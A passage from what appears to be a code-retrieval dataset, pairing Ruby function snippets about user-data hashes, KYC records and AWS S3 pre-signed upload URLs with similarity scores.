GlobalConstant::ConversionRate.wei_to_basic_unit_in_string(phase_1_wei_purchased_amount)\n phase_2_purchased_amount = GlobalConstant::ConversionRate.wei_to_basic_unit_in_string(phase_2_wei_purchased_amount)\n\n {\n ethereum_address: ethereum_address,\n estimated_amount: estimated_amount,\n country: country,\n kyc_confirm_date: kyc_confirm_date,\n kyc_approval_status: kyc_approval_status,\n proof_of_support: proof_of_support,\n alt_bonus: alt_bonus,\n purchased_amount: purchased_amount,\n phase_1_purchased_amount: phase_1_purchased_amount,\n phase_2_purchased_amount: phase_2_purchased_amount,\n number_of_transactions: number_of_transactions\n }\n end", "def user_info\n {\n 'nickname' => user_hash['NickName'],\n 'name' => user_hash['NickName']\n }\n end", "def charts_data_for(user)\n charts_data = {}\n\n ### chart user hours ### \n\n # time period\n from = user.registered_at.to_date\n to = Time.now.to_date + 1.week\n charts_data[:user_hours_from] = from \n charts_data[:user_hours_to] = to\n\n # prepare data \n charts_data[:user_hours] = groups_total_hours(current_user.records, from, to, 30) \n\n ### chart user submission ###\n\n # time period\n from = Time.now.to_date.prev_month\n to = Time.now.to_date \n charts_data[:user_submission_from] = from \n charts_data[:user_submission_to] = to\n\n # prepare data \n user_submission = []\n user.projects.each do |project|\n # records are grouped with project\n records = project.records.where(\"records.created_at >= ? and user_id = ?\", from, user.id)\n records.each do |record|\n user_submission << {project: project.name, date: record.created_at.to_date, \n time: record.created_at.strftime(\"%H-%M-%S\"), hours: record.hours}\n end\n end\n charts_data[:user_submission] = user_submission\n \n charts_data.to_json\n end", "def prepare_json\n to_return = Hash.new()\n to_return[:primary_key] = @primary_key\n to_return[:name] = @name\n to_return[:identifier] = @identifier\n to_return[:cloudkit_identifier] = @user_record_name\n to_return[:cloudkit_last_modified_device] = @cloudkit_last_modified_device\n to_return[:html] = generate_html\n\n to_return\n end", "def txt_hash(alternate_host=nil)\n fields = {}\n record = self.txt(alternate_host)\n return fields unless record\n\n record.split(/\\s*;\\s*/).each do |pair|\n (n,v) = pair.split(/\\s*=\\s*/)\n fields[n.to_sym] = v\n end\n fields\n end", "def get_user\n key = params[:key]\n writer_id = key.alphadecimal\n @user = {:id => writer_id, :key => key}\n end", "def user_info \n\tputs \"INTERIOR DECORATIONS\"\n\tputs \"--------------------\"\n\tputs \"Welcome! Please answer the below questions.\"\n\tuser_details = Hash.new\n\tputs \"Enter your Frist name: \"\n\tuser_details[:first_name] = gets.chomp\n\tputs \"Enter your Last name: \"\n\tuser_details[:last_name] = gets.chomp\n\tputs \"What is your age: \"\n\tuser_details[:age] = gets.chomp.to_i\n\tputs \"How many family members are staying in your house? (number): \"\n\tuser_details[:family_members] = gets.chomp.to_i\n\tputs \"Have you ever done interior decoration for your home?( y / n ): \"\n\tuser_details[:interior_decoration_history] = gets.chomp\n\tuntil user_details[:interior_decoration_history].upcase == \"Y\" || user_details[:interior_decoration_history].upcase == \"N\" \n\t\tif user_details[:interior_decoration_history].upcase == \"Y\" \n\t\t\tuser_details[:interior_decoration_history] = true\n\t\telsif user_details[:interior_decoration_history].upcase == \"N\" \n\t\t\tuser_details[:interior_decoration_history] = false\n\t\telse\n\t\t\tputs \"Please enter a valid data. Type (y/n): \"\t\n\t\t\tuser_details[:interior_decoration_history] = gets.chomp\n\t\tend\n\tend \n puts \"Are you the landlord or a tenant ?: (L / T )\"\n user_details[:owner_type] = gets.chomp\n if user_details[:owner_type].upcase == \"L\"\n \tuser_details[:owner_type] = \"I'm the landlord\"\n elsif user_details[:owner_type].upcase == \"T\"\n \tuser_details[:owner_type] = \"I'm a tenant\"\n else\n \tuser_details[:owner_type] = \"Not mentioned / Invalid data\" \n end\n puts \"What is your favorite interior decoration theme?\"\n fav_decor = [\"American Traditional\",\"Art Nouveau\",\"Inidan\",\"Modern\",\"French\",\"Medieval\"]\n puts fav_decor\n puts \"Enter your option from the list or type your own option or (none)\"\n user_details[:decor_theme] = gets.chomp\n info_display(user_details)\nend", "def user_to_h(department_id, iph)\n {department_id: department_id,\n name: iph[\"name\"],\n office_phone: iph[\"office_phone\"].to_i,\n cell_phone: iph[\"cell_phone\"].to_i,\n email: iph[\"email\"],\n building: iph[\"building\"],\n storey: iph[\"storey\"].to_i,\n room: iph[\"room\"].to_i} \n end", "def parseData(result, type, data)\n if (type == \"crc\")\n if (data =~ /^0x(.*)$/)\n data = $1\n end\n elsif (type == \"docs\")\n data =~ /^(\\d+)\\/(\\d+)$/ or die \"Invalid doc entry #{data}\"\n result[\"unique_docs\"] = $1.to_i\n result[\"meta_entries\"] = $2.to_i\n return\n elsif (type == \"bytes\")\n data =~ /^(\\d+)\\/(\\d+)$/ or die \"Invalid bytes entry #{data}\"\n result[\"unique_docs_size\"] = $1.to_i\n result[\"utilized_file_size\"] = $2.to_i\n return\n elsif (type == \"trusted\" || type == \"active\" || type == \"ready\")\n result[type] = (data =~ /^true$/i ? true : false)\n return\n end\n result[type] = data\n end", "def kacl_report\n @kacl_report ||= parse_report\n end", "def set_api_response_data\n users_list = []\n @users.each do |u|\n ukd = @user_kyc_details[u.id]\n ukd_present = ukd.present?\n users_list << {\n user_id: u.id,\n case_id: ukd_present ? @user_kyc_details[u.id].id : 0,\n email: u.email,\n registration_timestamp: u.created_at.to_i,\n is_kyc_submitted: ukd_present.to_i,\n whitelist_status: ukd_present ? @user_kyc_details[u.id].whitelist_status : nil,\n action_to_perform: action_to_perform(ukd)\n }\n end\n\n meta = {\n page_number: @page_number,\n total_records: @total_filtered_users,\n page_payload: {\n },\n page_size: @page_size,\n filters: @allowed_filters,\n sortings: @sortings,\n }\n\n data = {\n meta: meta,\n result_set: 'users_list',\n users_list: users_list\n }\n\n @api_response_data = data\n\n end", "def custom_contact_hash(current_user_id, import_hash)\n puts \"custom_contact_hash \"\n\n {\n first_name: import_hash[\"First Name\"],\n last_name: import_hash[\"Last Name\"],\n email: import_hash[\"email\"],\n primary_phone: import_hash[\"home_phone\"] || import_hash[\"mobile_phone\"],\n mobile_phone: import_hash[\"mobile_phone\"],\n home_phone: import_hash[\"home_phone\"],\n url: import_hash[\"url\"],\n importer_user_id: current_user_id,\n editor_user_id: current_user_id,\n status: \"approved\"\n }\n end", "def formatted_cache_data\n {\n id: id,\n name: name,\n symbol: symbol,\n status: status\n }\n end", "def basic_hash(user, client)\n basic_hash = {\n :id => id,\n :title => title,\n :tags => tags,\n :owner => owner.andand.guid,\n :priv => priv,\n :metadata => metadata,\n :updated_at => updated_at.utc,\n :updated_by => updated_by,\n :read_only => read_only,\n :indestructible => indestructible\n }\n updated_by_name = \"\"\n if ! updated_by.nil?\n if updater = Person.find_by_id(updated_by)\n updated_by_name = updater.name_or_username\n elsif updater = Client.find_by_id(updated_by)\n updated_by_name = updater.name\n end\n end\n\n basic_hash.merge!({:updated_by_name => updated_by_name})\n return basic_hash\n end", "def user_data\n @user_data ||= opts[:questionnaire_response]&.user_demographics_data\n end", "def fix_raw_user!\n return unless raw_user\n raw_user['scraped_at'] = self.moreinfo['scraped_at']\n raw_user['created_at'] = ModelCommon.flatten_date(raw_user['created_at'])\n raw_user['id'] = ModelCommon.zeropad_id( raw_user['id'])\n raw_user['protected'] = ModelCommon.unbooleanize(raw_user['protected'])\n raw_user['profile_background_tile'] = ModelCommon.unbooleanize(raw['profile_background_tile']) unless raw_user['profile_background_tile'].nil?\n Wukong.encode_components raw_user, 'name', 'location', 'description', 'url'\n # There are several users with bogus screen names\n # These we need to **URL encode** -- not XML-encode.\n if raw_user['screen_name'] !~ /\\A\\w+\\z/\n raw_user['screen_name'] = Wukong.encode_str(raw_user['screen_name'], :url)\n end\n end", "def user_count_by_career(type)\n result = Hash.new(0)\n time = type\n title_graph = ''\n case time\n when 'month'\n users = @users.where(:current_sign_in_at => Time.now.beginning_of_month..Time.now.end_of_month)\n title_graph = 'activos ultimo mes'\n when 'year'\n users = @users.where(:current_sign_in_at => Time.now.beginning_of_year..Time.now.end_of_year)\n title_graph = 'activos ultimo año'\n else\n title_graph = 'acumulado'\n users = @users\n end\n users.where(academic_type:\"Alumno\").group(:school).count.each do |key, value|\n result[key] = value\n end\n column_chart result, height: '400px', width: '90%', colors: [\"#C0FF97\"],\n library: {\n chart: {\n borderColor: '#aaa', borderWidth: 2, type: 'line',backgroundColor: '#FEFEFA',\n style: {\n fontFamily: 'Helvetica Neue'\n }\n },\n title: {\n text: \"Alumnos por carrera #{title_graph}\",\n style: {\n fontWeight: 'bold', fontSize: '14px'\n }\n },\n yAxis: {\n allowDecimals: false,\n },\n xAxis: {\n }\n }\n end", "def summary_json(user)\n return {} unless user.admin? || user.ta?\n\n if user.admin?\n groupings = self.groupings\n graders = groupings.joins(:tas)\n .pluck_to_hash(:id, 'users.user_name', 'users.first_name', 'users.last_name')\n .group_by { |x| x[:id] }\n assigned_criteria = nil\n else\n groupings = self.groupings\n .joins(:memberships)\n .where('memberships.user_id': user.id)\n graders = {}\n if self.assign_graders_to_criteria\n assigned_criteria = user.criterion_ta_associations\n .where(assessment_id: self.id)\n .pluck(:criterion_id)\n else\n assigned_criteria = nil\n end\n end\n\n grouping_data = groupings.joins(:group)\n .left_outer_joins(inviter: :section)\n .pluck_to_hash(:id, 'groups.group_name', 'sections.name')\n .group_by { |x| x[:id] }\n members = groupings.joins(:accepted_students)\n .pluck_to_hash(:id, 'users.user_name', 'users.first_name', 'users.last_name')\n .group_by { |x| x[:id] }\n tag_data = groupings\n .joins(:tags)\n .pluck_to_hash(:id, 'tags.name')\n .group_by { |h| h[:id] }\n groupings_with_results = groupings.includes(current_result: :marks).includes(:submitted_remark, :extension)\n result_ids = groupings_with_results.pluck('results.id').uniq.compact\n extra_marks_hash = Result.get_total_extra_marks(result_ids, max_mark: max_mark)\n\n hide_unassigned = user.ta? && hide_unassigned_criteria\n\n criteria_shown = Set.new\n max_mark = 0\n\n selected_criteria = user.admin? ? self.criteria : self.ta_criteria\n criteria_columns = selected_criteria.map do |crit|\n unassigned = !assigned_criteria.nil? && !assigned_criteria.include?(crit.id)\n next if hide_unassigned && unassigned\n\n max_mark += crit.max_mark unless crit.bonus?\n accessor = crit.id\n criteria_shown << accessor\n {\n Header: crit.bonus? ? \"#{crit.name} (#{Criterion.human_attribute_name(:bonus)})\" : crit.name,\n accessor: \"criteria.#{accessor}\",\n className: 'number ' + (unassigned ? 'unassigned' : ''),\n headerClassName: unassigned ? 'unassigned' : ''\n }\n end.compact\n\n final_data = groupings_with_results.map do |g|\n result = g.current_result\n has_remark = g.current_submission_used&.submitted_remark.present?\n if user.ta? && anonymize_groups\n group_name = \"#{Group.model_name.human} #{g.id}\"\n section = ''\n group_members = []\n else\n group_name = grouping_data[g.id][0]['groups.group_name']\n section = grouping_data[g.id][0]['sections.name']\n group_members = members.fetch(g.id, [])\n .map { |s| [s['users.user_name'], s['users.first_name'], s['users.last_name']] }\n end\n\n tag_info = tag_data.fetch(g.id, [])\n .map { |a| a['tags.name'] }\n criteria = result.nil? ? {} : result.mark_hash.select { |key, _| criteria_shown.include?(key) }\n extra_mark = extra_marks_hash[result&.id]\n {\n group_name: group_name,\n section: section,\n members: group_members,\n tags: tag_info,\n graders: graders.fetch(g.id, [])\n .map { |s| [s['users.user_name'], s['users.first_name'], s['users.last_name']] },\n marking_state: marking_state(has_remark,\n result&.marking_state,\n result&.released_to_students,\n g.collection_date),\n final_grade: [criteria.values.compact.sum + (extra_mark || 0), 0].max,\n criteria: criteria,\n max_mark: max_mark,\n result_id: result&.id,\n submission_id: result&.submission_id,\n total_extra_marks: extra_mark\n }\n end\n\n { data: final_data,\n criteriaColumns: criteria_columns,\n numAssigned: self.get_num_assigned(user.admin? ? nil : user.id),\n numMarked: self.get_num_marked(user.admin? ? nil : user.id) }\n end", "def attributes_from_user\n return {} unless @current_user&.loa3?\n\n {\n 'first_name' => @current_user.first_name,\n 'last_name' => @current_user.last_name,\n 'birth_date' => @current_user.birth_date,\n 'ssn' => @current_user.ssn,\n 'icn' => @current_user.icn\n }\n end", "def get_data_from_ec2_user_date\n data_array = ec2[:userdata].split('&')\n data_array.each do |d|\n key, data = d.split('=')\n rightscale_deprecated[key.sub(/RS_/,'')] = data unless add_server(key,data) \n end\nend", "def set_current_page_data\n\n @user_kycs.each do |u_k|\n user_extended_detail = @user_extended_details[u_k.user_extended_detail_id]\n md5_user_extended_detail = @md5_user_extended_details[u_k.user_extended_detail_id]\n country_name = GlobalConstant::CountryNationality.country_name_for(md5_user_extended_detail.country)\n nationality_name = GlobalConstant::CountryNationality.nationality_name_for(md5_user_extended_detail.nationality)\n\n duplicate_type = get_duplicate_type(u_k.user_extended_detail_id)\n\n last_edited_admin_id = u_k.get_last_edited_admin_id\n\n @curr_page_data << {\n id: u_k.id,\n name: \"#{user_extended_detail.first_name} #{user_extended_detail.last_name}\",\n kyc_confirmed_at: get_formatted_time(user_extended_detail.created_at.to_i),\n admin_status: u_k.admin_status,\n aml_status: u_k.aml_status,\n whitelist_status: u_k.whitelist_status,\n country: country_name.titleize,\n nationality: nationality_name.titleize,\n is_re_submitted: u_k.is_re_submitted?,\n submission_count: u_k.submission_count.to_i,\n is_duplicate: u_k.show_duplicate_status.to_i,\n last_acted_by: last_acted_by(last_edited_admin_id),\n last_acted_timestamp: get_formatted_time(u_k.last_acted_timestamp),\n duplicate_type: duplicate_type,\n }\n end\n\n end", "def printUserSimilarityToUser(user,dataDir=\"project1/src/resources/data\")\n values = @docSet.getSetSimilarityToOwner(dataDir,user).sort do |e1,e2|\n e2[1]<=>e1[1]\n end\n puts \"==============================================\"\n #puts \"Similarity to user \\\"#{user}\\\" by tag['#{tag}']\"\n puts \"Similarity to user ['#{user}']\"\n puts \"==============================================\"\n values.each do |key,value|\n puts \"[#{key}] = #{value}\" \n end \n end", "def main()\n request_url = \"#{$canvas_url}/api/v1/users/#{$canvas_user_id}/page_views?per_page=100&start_time=#{$start_time}&end_time=#{$end_time}\"\n method = \"get\"\n options = {}\n data = canvasApiRequest(method,request_url,options)\n compiledHash = []\n data.each do |hash|\n hashData = flattenHash(hash)\n compiledHash.push(hashData)\n end\n outputToCSV(compiledHash)\nend", "def build_givenhash(data)\n givenhash = {}\n unless data[:moduleoptions].nil?\n data[:moduleoptions].each do |key, value|\n givenhash[key.to_s] = value.to_s.tr(\"\\n\", ' ').strip\n end\n end\n givenhash\n end", "def entry_fields(rec, user:, serialize: JSON_SERIALIZE)\n user = user_id(user) unless user.is_a?(Integer)\n ed = rec.emma_metadata(refresh: true)\n fd = rec.file_data\n mime = fd&.deep_symbolize_keys&.dig(:metadata, :mime_type)\n fmt = mime_to_fmt(mime)\n ext = fmt_to_ext(fmt)\n {\n user_id: user,\n repository: ed[:emma_repository],\n submission_id: ed[:emma_repositoryRecordId],\n fmt: ed[:dc_format] || FileFormat.metadata_fmt(fmt),\n ext: ext,\n state: 'completed',\n phase: 'create',\n file_data: (serialize ? fd.to_json : fd),\n emma_data: (serialize ? ed.to_json : ed),\n }\n end", "def process_user_kyc_details\n UserKycDetail.using_client_shard(client: @client).\n where(client_id: @client_id,\n status: GlobalConstant::UserKycDetail.active_status,\n admin_status: GlobalConstant::UserKycDetail.unprocessed_admin_status).\n order({id: :desc}).\n find_in_batches(batch_size: 100) do |ukds|\n\n ukds.each do |ukd|\n if (!ukd.has_been_auto_approved?)\n trigger_auto_approve_update_rescue_task(ukd.user_extended_detail_id)\n end\n end\n\n end\n end", "def user_data(hsh={})\n @settings[:user_data].merge!(hsh.to_hash) unless hsh.empty?\n @settings[:user_data]\n end", "def user_review(user_id, book_id, params = {})\n data = request('/review/show_by_user_and_book.xml', params.merge(v: \"2\", user_id: user_id, book_id: book_id))\n Hashie::Mash.new(data[\"review\"])\n end", "def parse_data( text )\r\n\t\t# Sample line of text:\r\n\t\t# Kentucky:23,56,89\r\n\t\t# Will look like: { \"Kentucky\" => { \"R\" => 23, \"G\" => 56, \"B\" => 89 } }\r\n\t\tcolor_hash = {}\r\n\t\ttext.each{ |line|\r\n\t\t\tteam, colors = line.split( \":\" )\r\n\t\t\tr,g,b = colors.split( \",\" )\r\n\t\t\tcolor_hash[team] = { \"R\" => r, \"G\" => g, \"B\" => b }\r\n\t\t}\r\n\t\treturn color_hash\r\n\tend", "def fetch_data\n\n UserKycDetail.find_in_batches(batch_size: 100) do |batched_records|\n batch_ued_ids = []\n user_id_to_ukd_map = {}\n\n batched_records.each do |record|\n user_id_to_ukd_map[record.user_id] = record\n batch_ued_ids << record.user_extended_detail_id\n end\n\n UserExtendedDetail.where(id: batch_ued_ids).each do |user_extended_detail|\n user_kyc_detail = user_id_to_ukd_map[user_extended_detail.user_id]\n\n r = Aws::Kms.new('kyc', 'admin').decrypt(user_extended_detail.kyc_salt)\n unless r.success?\n @failed_kms_decrypt_ued_ids << user_extended_detail.id\n next\n end\n\n kyc_salt_d = r.data[:plaintext]\n\n case_data = generate_case_data(kyc_salt_d, user_extended_detail, user_kyc_detail)\n\n populate_ethereum_addr_case_data_map(case_data)\n end\n\n end\n\n end", "def get_data_type key\n\t\tdata_type = Hash.new \n\t\tdata_type[\"int\"] = \"INTEGER\"\n\t\tdata_type[\"mobile\"] = \"BIGINT(20)\"\n\t\tdata_type[\"string\"] = \"VARCHAR(50)\"\n\t\tdata_type[\"float\"] = \"INTEGER(20,5)\" \n\t\tdata_type[\"integer\"] = \"INTEGER\" \n\t\tdata_type[\"text\"] = \"TEXT\" \n\t\tdata_type[\"date\"] = \"DATE\" \n\t\t \n\t\ttdata = data_type[key]\n\tend", "def formatted_cache_data\n {\n id: id,\n name: name,\n symbol: symbol,\n decimal: decimal,\n contract_address: contract_address,\n constants: constants,\n status: status\n }\n end", "def generate_user_fields(user_params)\n return {:name => \"#{user_params[:firstname]} #{user_params[:lastname]}\",\n :email => user_params[:email],\n :password => user_params[:password],\n :college_id => College.find_by_name(user_params[:college]).id,\n :pending_school_id => user_params[:school],\n :pending_semester => user_params[:semester],\n :pending => 0,\n :profile => \"ambassador\" }\n end", "def twitter_data(time=Time.now)\n h = {}\n h['1'] = Hashie::Mash.new :id => '1', :in_reply_to_status_id => nil, :user => { :screen_name => 'aaa', :id => '1'}, :text => 'Initial tweet', :created_at => time\n h['2'] = Hashie::Mash.new :id => '2', :in_reply_to_status_id => '1', :user => { :screen_name => 'bbb', :id => '2'}, :text => '@aaa i disagree', :created_at => time += 60\n h['3'] = Hashie::Mash.new :id => '3', :in_reply_to_status_id => '1', :user => { :screen_name => 'ccc', :id => '3'}, :text => '@aaa i agree', :created_at => time += 60\n h['4'] = Hashie::Mash.new :id => '4', :in_reply_to_status_id => '3', :user => { :screen_name => 'ddd', :id => '4'}, :text => '@ccc how can you agree?', :created_at => time += 60\n h['5'] = Hashie::Mash.new :id => '5', :in_reply_to_status_id => '1', :user => { :screen_name => 'eee', :id => '5'}, :text => '@aaa who r u', :created_at => time += 60\n h['6'] = Hashie::Mash.new :id => '6', :in_reply_to_status_id => '4', :user => { :screen_name => 'aaa', :id => '1'}, :text => '@ddd because i can', :created_at => time += 60\n h['7'] = Hashie::Mash.new :id => '7', :in_reply_to_status_id => '5', :user => { :screen_name => 'aaa', :id => '1'}, :text => '@eee i am who i am', :created_at => time += 60\n h['8'] = Hashie::Mash.new :id => '8', :in_reply_to_status_id => '7', :user => { :screen_name => 'eee', :id => '5'}, :text => '@aaa nice one popeye', :created_at => time += 60\n h['9'] = Hashie::Mash.new :id => '9', :in_reply_to_status_id => '6', :user => { :screen_name => 'ddd', :id => '4'}, :text => '@eee you have that right', :created_at => time += 60\n h['10'] = Hashie::Mash.new :id => '10', :in_reply_to_status_id => '9', :user => { :screen_name => 'fff', :id => '6'}, :text => '@ddd wtf is all this?', :created_at => time += 60\n h\n end", "def format_hash(entry_hash)\n formatted = {}\n entry_hash.each do |column, value|\n if column =~ /fname|lname|addr|city/\n formatted[column] = capitalize_items(value)\n elsif column == \"state\"\n formatted[column] = value.upcase\n else\n formatted[column] = value\n end\n end\n return formatted\nend", "def output\n alphabetical_keys = @concordance_hash.keys.sort\n alphabetical_keys.each do |key|\n value = \"{\" + @concordance_hash[key][0].to_s + \":\" +\n @concordance_hash[key][1..-1].to_s.delete(\"[] \") + \"}\"\n\n printf \"%-25s %s \\n\", key, value\n end\n end", "def print_user_summary(user_data)\n \n puts \"-\" * 40\n puts \"Category\".ljust(30) + \"Points\".rjust(10)\n puts \"-\" * 40\n \n # sort the categories by points earned\n user_data_sorted = user_data[\"points\"].sort_by do |category, points| \n points\n end\n \n # make sure the highest points are at the top\n user_data_sorted.reverse! \n\n # loop through and display the categories and poinst excluding 'total'\n user_data_sorted.each do |category|\n if category[0] != \"total\"\n puts category[0].ljust(30) + category[1].to_s.rjust(10)\n end\n end \n\n # display the total\n puts \"-\" * 40\n puts \"Total\".ljust(30) + user_data[\"points\"][\"total\"].to_s.rjust(10)\nend" ]
[ "0.6807346", "0.5872701", "0.5729006", "0.5681961", "0.56758815", "0.5665296", "0.5606227", "0.5606227", "0.5600151", "0.55636805", "0.5479883", "0.5454042", "0.54291064", "0.5420745", "0.53460443", "0.5343816", "0.53428787", "0.5298603", "0.5291671", "0.52900153", "0.5271627", "0.52483726", "0.52410096", "0.5237631", "0.5225789", "0.519601", "0.51800126", "0.5175129", "0.5105834", "0.5073803", "0.5059761", "0.5044961", "0.5016963", "0.5010605", "0.5005519", "0.50035655", "0.49882066", "0.49869925", "0.4978295", "0.49762303", "0.4974941", "0.49747756", "0.49735686", "0.49565634", "0.49442717", "0.4936533", "0.4912555", "0.4912555", "0.488991", "0.4887746", "0.48835272", "0.4877878", "0.48652205", "0.48628613", "0.48569494", "0.4854651", "0.48544198", "0.48492515", "0.48492515", "0.4849242", "0.48468477", "0.48404774", "0.48185343", "0.48178378", "0.48136285", "0.4811595", "0.48051554", "0.47967634", "0.47963116", "0.4795101", "0.47933722", "0.47845167", "0.47843453", "0.47774735", "0.4770126", "0.4768911", "0.47654453", "0.47612602", "0.4759544", "0.47587845", "0.475284", "0.47511882", "0.47442022", "0.4742578", "0.4741377", "0.4737955", "0.4735724", "0.4730999", "0.47282037", "0.47214434", "0.47144338", "0.47099543", "0.47083166", "0.47050095", "0.46948627", "0.4694507", "0.46934524", "0.46895885", "0.46815857", "0.46802738" ]
0.6669875
1
Format pre signed url for put Always receives [Hash] :NOTE Reading data to format from key:'file_upload_put' Author: Aniket Date: 20/09/2018 Reviewed By:
def get_pre_singed_url_for_put(data_to_format) formatted_data = { result_type: 'file_upload_put', file_upload_put: data_to_format } formatted_data end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def get_signed_put_url(upload, duration)\n # use Fog config\n storage = Fog::Storage.new(Rails.configuration.x.fog_configuration)\n \n # set request attributes\n headers = { \"Content-Type\" => upload.content_type }\n options = { \"path_style\" => \"true\" }\n \n # generate signed url\n return storage.put_object_url(\n ENV['S3_BUCKET_NAME'],\n upload.path,\n duration.from_now.to_time.to_i,\n headers,\n options\n )\n end", "def get_presigned_url_put(params = {})\n http_helper.send_get_request(\"#{@url_prefix}/pre-signed-urls/for-put\", params)\n end", "def presignedurl_params\n params.permit(:filename, :username)\n end", "def get_presigned_put_url_for(s3_name, bucket, content_type)\n params = {\n bucket: bucket,\n key: s3_name\n }\n\n options={\n content_type: content_type,\n server_side_encryption: 'aws:kms',\n ssekms_key_id: key_id\n }\n\n presigner = Aws::S3::Presigner.new({client: client})\n u = presigner.presigned_url(:put_object, params.merge(options))\n # uri = URI.parse(u)\n # uri\n # r = Net::HTTP.start(uri.host, :use_ssl => true) do |http|\n # http.send_request(\"PUT\", uri.request_uri, File.read(file_path), {\n # # This is required, or Net::HTTP will add a default unsigned content-type.\n # \"content-type\" => content_type\n # })\n #\n # end\n end", "def s3_upload_signature\n\t signature = Base64.encode64(OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha1'), YOUR_SECRET_KEY, s3_upload_policy_document)).gsub(\"\\n\",\"\")\n\t end", "def upload_key(s3client,newkeyblob,filename,bucket)\r\n keyfile_name= filename+ \".key\"\r\n newkeyblob64 = Base64.encode64(newkeyblob)\r\n s3client.put_object({\r\n body: newkeyblob64,\r\n key: keyfile_name,\r\n bucket: bucket\r\n })\r\nend", "def s3_upload_signature\n signature = Base64.encode64(OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha1'), CONFIG['secret_access_key'], s3_upload_policy_document)).gsub(\"\\n\",\"\")\n end", "def s3_upload_signature\n Base64.encode64(OpenSSL::HMAC.digest(\n OpenSSL::Digest::Digest.new('sha1'),\n @current_shard.amazon_setting.secret_access_key,\n s3_upload_policy_document)\n ).gsub(/\\n|\\r/, \"\")\n end", "def s3_upload_signature\n signature = Base64.encode64(OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha1'), SITE['s3_access_key'], s3_upload_policy_document)).gsub(\"\\n\",\"\")\n end", "def s3_upload_signature\n Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest::Digest.new('sha1'),\n ENV[\"AWS_SECRET_ACCESS_KEY\"],\n s3_upload_policy_document\n )\n ).gsub(/\\n/, '')\n end", "def upload_file(bucket, key, data)\n bucket.put(key, data)\nend", "def presign_upload\n render plain: hmac_data, status: :ok\n end", "def s3_upload_signature\n signature = Base64.encode64(OpenSSL::HMAC.digest(OpenSSL::Digest::Digest.new('sha1'), Figaro.env.aws_secret_access_key, s3_upload_policy_document)).gsub(\"\\n\",\"\")\n end", "def normalize_multipart_upload(params)\n fname = params[:key].split('/').last\n if fname == '${filename}'\n # Can't change original name. Just rename key\n params[:key].sub!('${filename}', params[:file].original_filename)\n # Rebuild s3_uri with new key\n rebuild_uri(params)\n else\n # Change stored filename for more flexibility\n params[:file].original_filename = fname\n end\n end", "def presign(id, **options)\n url = storage.signed_url(@bucket, object_name(id), method: \"PUT\", **options)\n\n headers = {}\n headers[\"Content-Type\"] = options[:content_type] if options[:content_type]\n headers[\"Content-MD5\"] = options[:content_md5] if options[:content_md5]\n headers.merge!(options[:headers]) if options[:headers]\n\n { method: :put, url: url, headers: headers }\n end", "def temp_upload_url(object_key, temp_url_key, expires_at = Time.now.to_i + 60)\n private_url(\"PUT\", object_key, temp_url_key, expires_at)\n end", "def s3_upload_signature(s3_bucket)\r\n\t\tBase64.encode64(\r\n\t\t\t\tOpenSSL::HMAC.digest(\r\n\t\t\t\t\t\tOpenSSL::Digest::Digest.new('sha1'),\r\n\t\t\t\t\t\tS3_KEY,\r\n\t\t\t\t\t\ts3_upload_policy_document(s3_bucket)\r\n\t\t\t\t)\r\n\t\t).gsub(/\\n/, '')\r\n\tend", "def get_pre_singed_url_for_post(data_to_format)\n formatted_data = {\n result_type: 'file_upload_post',\n file_upload_post: data_to_format\n\n }\n formatted_data\n end", "def url_for_direct_upload(key, expires_in:, content_type:, content_length:, checksum:)\n instrument :url, key: key do |payload|\n verified_token_with_expiration = ActiveStorage.verifier.generate(\n {\n key: key,\n content_type: content_type,\n content_length: content_length,\n checksum: checksum\n },\n { expires_in: expires_in,\n purpose: :blob_token }\n )\n\n generated_url = url_helpers.update_rails_imgur_service_url(verified_token_with_expiration, host: current_host)\n\n payload[:url] = generated_url\n generated_url\n end\n end", "def upload(bucket, file); end", "def public_url(options = {})\n url = URI.parse(bucket.url(options))\n url.path += '/' unless url.path[-1] == '/'\n url.path += key.gsub(/[^\\/]+/) { |s| Seahorse::Util.uri_escape(s) }\n url.to_s\n end", "def s3_upload_policy_document\n Base64.encode64(\n {\n expiration: 30.minutes.from_now.utc.strftime('%Y-%m-%dT%H:%M:%S.000Z'),\n conditions: [\n { bucket: ENV[\"S3_BUCKET\"] },\n { acl: 'public-read' },\n [\"starts-with\", \"$key\", \"uploads/\"],\n { success_action_status: '201' }\n ]\n }.to_json\n ).gsub(/\\n|\\r/, '')\n end", "def quick_s3_upload\n end", "def upload_signature\n @upload_signature ||=\n Base64.encode64(\n OpenSSL::HMAC.digest(\n OpenSSL::Digest::SHA1.new,\n options[:secret_access_key],\n self.policy_document\n )\n ).gsub(/\\n/, '')\n end", "def upload_file(file)\n key_name = @prefix.dup\n key_name << File.basename(file)\n @right_s3_interface.put(@bucket, key_name , File.read(file) ) \n end", "def put(params)\n bucket = params[:bucket]\n object = params[:object]\n value = params[:value]\n content_type = params[:content_type]\n cb = params[:cb]\n date = generate_date\n sign_string = generate_signed_string('PUT', 'private', bucket, object, content_type)\n signature = generate_signature(sign_string)\n auth = generate_auth(signature)\n headers = generate_put_headers(date, auth, 'private', content_type, value.size)\n path = \"/\" << object\n\n @req_options = {:method => :put, :head => headers, :path => path, :body => value}\n @cb = cb if cb\n @bucket = bucket\n try_request\n self\n end", "def store(data, headers = {})\n r = conn.put(escaped_path, data) do |req|\n req.headers = headers\n token = CarrierWave::UCloud::Digest.authorization(@uploader, req)\n req.headers['Authorization'] = token\n end\n r\n end", "def upload(file_path)\n file_name = File.basename(file_path)\n object = @bucket.objects[file_name]\n object.write(:file => file_path)\n object.public_url\n end", "def generate_url(bucket, file)\n\n connect_to_s3()\n signer = Aws::S3::Presigner.new\n url = signer.presigned_url(:get_object, bucket: bucket, key: file)\n\nend", "def _http_put resource, path\n uri = ::URI.parse(resource.auth_uri)\n path = _path uri, path\n request = Net::HTTP::Put.new(path)\n _build_request resource, request\nend", "def _http_put resource, path\n uri = ::URI.parse(resource.auth_uri)\n path = _path uri, path\n request = Net::HTTP::Put.new(path)\n _build_request resource, request\nend", "def upload_to_sandbox(sandbox_filename, sandbox_file_checksum, url)\n \n checksum64 = Base64.encode64([sandbox_file_checksum].pack(\"H*\")).strip\n timestamp = Time.now.utc.iso8601\n file_contents = File.read(sandbox_filename)\n # TODO - 5/28/2010, cw: make signing and sending the request streaming\n sign_obj = 